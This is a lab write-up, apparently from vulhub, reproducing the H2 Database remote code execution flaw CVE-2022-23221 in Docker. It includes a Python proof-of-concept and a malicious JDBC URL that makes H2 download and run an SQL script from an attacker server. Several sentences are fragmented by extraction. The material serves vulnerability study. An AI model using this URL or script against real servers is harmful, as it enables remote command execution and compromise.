
# vulhub/H2-database/CVE-2022-23221
H2 ist ein relationales Datenbankmanagementsystem, das die Möglichkeit bietet, Java-Code direkt in der SQL-Engine zu kompilieren und auszuführen.
Der H2-Treiber parst JDBC-URLs, um die Verbindung zwischen der Anwendung und der Datenbank herzustellen. Dabei können über die in der URL enthaltenen Konfigurationsparameter der Anfangszustand oder das Verhalten der Datenbank gesteuert werden.
In den betroffenen H2-Versionen vor 2.1.210 besteht das Problem, dass über den INIT-Parameter der JDBC-URL entfernte SQL-Skripte ausgeführt werden können. Ein Angreifer kann dies ausnutzen, um manipulierte SQL-Skripte remote einzuschleusen und über deren Syntax Systembefehle auszuführen, wodurch die Schwachstelle CVE-2022-23221 ausgelöst wird.
Die Merkmale dieser Schwachstelle sind wie folgt:
Betroffener Bereich der Schwachstelle
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql' enthalten.
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> Umgehung der Sicherheitseinstellungen
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> SQL-Befehl, der automatisch bei der Verbindung zwischen Anwendung und DB ausgeführt wird
CREATE ALIAS-SQL-Anweisung enthalten.
CREATE ALIAS-Anweisung innerhalb des remote auszuführenden Skripts veranlasst H2, die Java-Funktionen im Skript innerhalb der DB auszuführen, was letztendlich zu RCE führt.Szenario
id, whoami, pwd ausgegeben wird, bedeutet dies, dass die verwundbare H2-Umgebung eingerichtet wurde und die Datei exploit.sql während des Parsens der bösartigen JDBC-URL durch H2 remote vom externen Angreifer-Server heruntergeladen und ausgeführt wurde.Umgebungskonfiguration
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : Stellt die Datei exploit.sql bereitNach der Umgebungskonfiguration erscheint die H2-Webseite, wenn Sie http://your-ip:8082 aufrufen.
: Da in der Webkonsole Sicherheitsrichtlinien angewendet werden und die für die Schwachstelle erforderlichen Parameter gefiltert werden können, wird die JDBC-URL mit den bösartigen Parametern direkt über die CLI eingegeben, um die Schwachstelle zu reproduzieren und das Ergebnis zu überprüfen.
Normale JDBC-URL: "jdbc:h2:mem:test"
Befehl für normale Anfrage
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
Ausführungsergebnis

Die bösartige JDBC-URL wird in den H2-Treiber eingegeben, um eine Verbindung zum Angreifer-Server herzustellen. Es gibt zwei Möglichkeiten, die URL einzugeben.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 fordert gemäß dem im INIT-Parameter der JDBC-URL angegebenen INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' die Datei exploit.sql vom Angreifer-Server an (HTTP GET) und führt sie innerhalb der H2-Datenbank aus.
docker logs attacker können die Anfrage-Logs für die Datei exploit.sql vom h2-vulnerable-Server eingesehen werden.docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
Als Ergebnis der Ausführung der Datei exploit.sql werden im Log des h2-vulnerable-Servers die Zeichenkette „EXPLOITED“ zusammen mit den Ausführungsergebnissen der Befehle id, whoami, pwd ausgegeben.
Die Logs können mit docker logs h2-vulnerable eingesehen werden.
docker logs h2-vulnerable`

=> Dies bedeutet, dass die verwundbare H2-Umgebung eingerichtet wurde und der entfernte Download und die Ausführung der Datei während des Parsens der bösartigen JDBC-URL durch H2 erfolgreich waren.